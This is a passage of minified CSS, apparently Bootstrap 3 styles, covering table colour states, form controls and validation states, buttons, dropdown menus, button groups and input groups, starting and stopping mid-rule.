d,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=time].form-control,input[type=datetime-local].form-control,input[type=month].form-control{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm input[type=month],input[type=date].input-sm,input[type=time].input-sm,input[type=datetime-local].input-sm,input[type=month].input-sm{line-height:30px}.input-group-lg input[type=date],.input-group-lg input[type=time],.input-group-lg input[type=datetime-local],.input-group-lg input[type=month],input[type=date].input-lg,input[type=time].input-lg,input[type=datetime-local].input-lg,input[type=month].input-lg{line-height:46px}}.form-group{margin-bottom:15px}.checkbox,.radio{position:relative;display:block;margin-top:10px;margin-bottom:10px}.checkbox label,.radio label{min-height:20px;padding-left:20px;margin-bottom:0;font-weight:400;cursor:pointer}.checkbox input[type=checkbox],.checkbox-inline input[type=checkbox],.radio input[type=radio],.radio-inline input[type=radio]{position:absolute;margin-top:4px\9;margin-left:-20px}.checkbox+.checkbox,.radio+.radio{margin-top:-5px}.checkbox-inline,.radio-inline{position:relative;display:inline-block;padding-left:20px;margin-bottom:0;font-weight:400;vertical-align:middle;cursor:pointer}.checkbox-inline+.checkbox-inline,.radio-inline+.radio-inline{margin-top:0;margin-left:10px}fieldset[disabled] input[type=checkbox],fieldset[disabled] input[type=radio],input[type=checkbox].disabled,input[type=checkbox][disabled],input[type=radio].disabled,input[type=radio][disabled]{cursor:not-allowed}.checkbox-inline.disabled,.radio-inline.disabled,fieldset[disabled] .checkbox-inline,fieldset[disabled] .radio-inline{cursor:not-allowed}.checkbox.disabled label,.radio.disabled label,fieldset[disabled] .checkbox label,fieldset[disabled] .radio label{cursor:not-allowed}.form-control-static{min-height:34px;padding-top:7px;padding-bottom:7px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-right:0;padding-left:0}.input-sm{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-sm{height:30px;line-height:30px}select[multiple].input-sm,textarea.input-sm{height:auto}.form-group-sm .form-control{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.form-group-sm select.form-control{height:30px;line-height:30px}.form-group-sm select[multiple].form-control,.form-group-sm textarea.form-control{height:auto}.form-group-sm .form-control-static{height:30px;min-height:32px;padding:6px 10px;font-size:12px;line-height:1.5}.input-lg{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-lg{height:46px;line-height:46px}select[multiple].input-lg,textarea.input-lg{height:auto}.form-group-lg .form-control{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.form-group-lg select.form-control{height:46px;line-height:46px}.form-group-lg select[multiple].form-control,.form-group-lg textarea.form-control{height:auto}.form-group-lg .form-control-static{height:46px;min-height:38px;padding:11px 16px;font-size:18px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:42.5px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:34px;height:34px;line-height:34px;text-align:center;pointer-events:none}.form-group-lg .form-control+.form-control-feedback,.input-group-lg+.form-control-feedback,.input-lg+.form-control-feedback{width:46px;height:46px;line-height:46px}.form-group-sm .form-control+.form-control-feedback,.input-group-sm+.form-control-feedback,.input-sm+.form-control-feedback{width:30px;height:30px;line-height:30px}.has-success .checkbox,.has-success .checkbox-inline,.has-success .control-label,.has-success .help-block,.has-success .radio,.has-success .radio-inline,.has-success.checkbox label,.has-success.checkbox-inline label,.has-success.radio label,.has-success.radio-inline label{color:#3c763d}.has-success .form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-success .form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168}.has-success .input-group-addon{color:#3c763d;background-color:#dff0d8;border-color:#3c763d}.has-success .form-control-feedback{color:#3c763d}.has-warning .checkbox,.has-warning .checkbox-inline,.has-warning .control-label,.has-warning .help-block,.has-warning .radio,.has-warning .radio-inline,.has-warning.checkbox label,.has-warning.checkbox-inline label,.has-warning.radio label,.has-warning.radio-inline label{color:#8a6d3b}.has-warning .form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-warning .form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b}.has-warning .input-group-addon{color:#8a6d3b;background-color:#fcf8e3;border-color:#8a6d3b}.has-warning .form-control-feedback{color:#8a6d3b}.has-error .checkbox,.has-error .checkbox-inline,.has-error .control-label,.has-error .help-block,.has-error .radio,.has-error .radio-inline,.has-error.checkbox label,.has-error.checkbox-inline label,.has-error.radio label,.has-error.radio-inline label{color:#a94442}.has-error .form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.has-error .form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483}.has-error .input-group-addon{color:#a94442;background-color:#f2dede;border-color:#a94442}.has-error .form-control-feedback{color:#a94442}.has-feedback label~.form-control-feedback{top:25px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .form-control,.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .checkbox,.form-inline .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .checkbox label,.form-inline .radio label{padding-left:0}.form-inline .checkbox input[type=checkbox],.form-inline .radio input[type=radio]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .checkbox,.form-horizontal .checkbox-inline,.form-horizontal .radio,.form-horizontal .radio-inline{padding-top:7px;margin-top:0;margin-bottom:0}.form-horizontal .checkbox,.form-horizontal .radio{min-height:27px}.form-horizontal .form-group{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.form-horizontal .control-label{padding-top:7px;margin-bottom:0;text-align:right}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:11px;font-size:18px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px;font-size:12px}}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.42857143;text-align:center;white-space:nowrap;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-image:none;border:1px solid transparent;border-radius:4px}.btn.active.focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn:active:focus,.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn.focus,.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn.active,.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none;opacity:.65}a.btn.disabled,fieldset[disabled] a.btn{pointer-events:none}.btn-default{color:#333;background-color:#fff;border-color:#ccc}.btn-default.focus,.btn-default:focus{color:#333;background-color:#e6e6e6;border-color:#8c8c8c}.btn-default:hover{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{color:#333;background-color:#e6e6e6;border-color:#adadad}.btn-default.active.focus,.btn-default.active:focus,.btn-default.active:hover,.btn-default:active.focus,.btn-default:active:focus,.btn-default:active:hover,.open>.dropdown-toggle.btn-default.focus,.open>.dropdown-toggle.btn-default:focus,.open>.dropdown-toggle.btn-default:hover{color:#333;background-color:#d4d4d4;border-color:#8c8c8c}.btn-default.active,.btn-default:active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled.focus,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled].focus,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#fff;border-color:#ccc}.btn-default .badge{color:#fff;background-color:#333}.btn-primary{color:#fff;background-color:#337ab7;border-color:#2e6da4}.btn-primary.focus,.btn-primary:focus{color:#fff;background-color:#286090;border-color:#122b40}.btn-primary:hover{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{color:#fff;background-color:#286090;border-color:#204d74}.btn-primary.active.focus,.btn-primary.active:focus,.btn-primary.active:hover,.btn-primary:active.focus,.btn-primary:active:focus,.btn-primary:active:hover,.open>.dropdown-toggle.btn-primary.focus,.open>.dropdown-toggle.btn-primary:focus,.open>.dropdown-toggle.btn-primary:hover{color:#fff;background-color:#204d74;border-color:#122b40}.btn-primary.active,.btn-primary:active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled.focus,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled].focus,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#337ab7;border-color:#2e6da4}.btn-primary .badge{color:#337ab7;background-color:#fff}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success.focus,.btn-success:focus{color:#fff;background-color:#449d44;border-color:#255625}.btn-success:hover{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{color:#fff;background-color:#449d44;border-color:#398439}.btn-success.active.focus,.btn-success.active:focus,.btn-success.active:hover,.btn-success:active.focus,.btn-success:active:focus,.btn-success:active:hover,.open>.dropdown-toggle.btn-success.focus,.open>.dropdown-toggle.btn-success:focus,.open>.dropdown-toggle.btn-success:hover{color:#fff;background-color:#398439;border-color:#255625}.btn-success.active,.btn-success:active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled.focus,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled].focus,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#5cb85c;border-color:#4cae4c}.btn-success .badge{color:#5cb85c;background-color:#fff}.btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.btn-info.focus,.btn-info:focus{color:#fff;background-color:#31b0d5;border-color:#1b6d85}.btn-info:hover{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{color:#fff;background-color:#31b0d5;border-color:#269abc}.btn-info.active.focus,.btn-info.active:focus,.btn-info.active:hover,.btn-info:active.focus,.btn-info:active:focus,.btn-info:active:hover,.open>.dropdown-toggle.btn-info.focus,.open>.dropdown-toggle.btn-info:focus,.open>.dropdown-toggle.btn-info:hover{color:#fff;background-color:#269abc;border-color:#1b6d85}.btn-info.active,.btn-info:active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled.focus,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled].focus,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#5bc0de;border-color:#46b8da}.btn-info .badge{color:#5bc0de;background-color:#fff}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning.focus,.btn-warning:focus{color:#fff;background-color:#ec971f;border-color:#985f0d}.btn-warning:hover{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{color:#fff;background-color:#ec971f;border-color:#d58512}.btn-warning.active.focus,.btn-warning.active:focus,.btn-warning.active:hover,.btn-warning:active.focus,.btn-warning:active:focus,.btn-warning:active:hover,.open>.dropdown-toggle.btn-warning.focus,.open>.dropdown-toggle.btn-warning:focus,.open>.dropdown-toggle.btn-warning:hover{color:#fff;background-color:#d58512;border-color:#985f0d}.btn-warning.active,.btn-warning:active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled.focus,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled].focus,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#f0ad4e;border-color:#eea236}.btn-warning .badge{color:#f0ad4e;background-color:#fff}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger.focus,.btn-danger:focus{color:#fff;background-color:#c9302c;border-color:#761c19}.btn-danger:hover{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{color:#fff;background-color:#c9302c;border-color:#ac2925}.btn-danger.active.focus,.btn-danger.active:focus,.btn-danger.active:hover,.btn-danger:active.focus,.btn-danger:active:focus,.btn-danger:active:hover,.open>.dropdown-toggle.btn-danger.focus,.open>.dropdown-toggle.btn-danger:focus,.open>.dropdown-toggle.btn-danger:hover{color:#fff;background-color:#ac2925;border-color:#761c19}.btn-danger.active,.btn-danger:active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled.focus,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled].focus,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#d9534f;border-color:#d43f3a}.btn-danger .badge{color:#d9534f;background-color:#fff}.btn-link{font-weight:400;color:#337ab7;border-radius:0}.btn-link,.btn-link.active,.btn-link:active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:active,.btn-link:focus,.btn-link:hover{border-color:transparent}.btn-link:focus,.btn-link:hover{color:#23527c;text-decoration:underline;background-color:transparent}.btn-link[disabled]:focus,.btn-link[disabled]:hover,fieldset[disabled] .btn-link:focus,fieldset[disabled] .btn-link:hover{color:#777;text-decoration:none}.btn-group-lg>.btn,.btn-lg{padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}.btn-group-sm>.btn,.btn-sm{padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}.btn-group-xs>.btn,.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity .15s linear;-o-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}.collapse{display:none}.collapse.in{display:block}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease;-webkit-transition-duration:.35s;-o-transition-duration:.35s;transition-duration:.35s;-webkit-transition-property:height,visibility;-o-transition-property:height,visibility;transition-property:height,visibility}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px dashed;border-top:4px solid\9;border-right:4px solid transparent;border-left:4px solid transparent}.dropdown,.dropup{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;font-size:14px;text-align:left;list-style:none;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,.175);box-shadow:0 6px 12px rgba(0,0,0,.175)}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:400;line-height:1.42857143;color:#333;white-space:nowrap}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{color:#262626;text-decoration:none;background-color:#f5f5f5}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{color:#fff;text-decoration:none;background-color:#337ab7;outline:0}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{color:#777}.dropdown-menu>.disabled>a:focus,.dropdown-menu>.disabled>a:hover{text-decoration:none;cursor:not-allowed;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{right:0;left:auto}.dropdown-menu-left{right:auto;left:0}.dropdown-header{display:block;padding:3px 20px;font-size:12px;line-height:1.42857143;color:#777;white-space:nowrap}.dropdown-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{content:"";border-top:0;border-bottom:4px dashed;border-bottom:4px solid\9}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{right:0;left:auto}.navbar-right .dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group .form-control:focus{z-index:3}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group 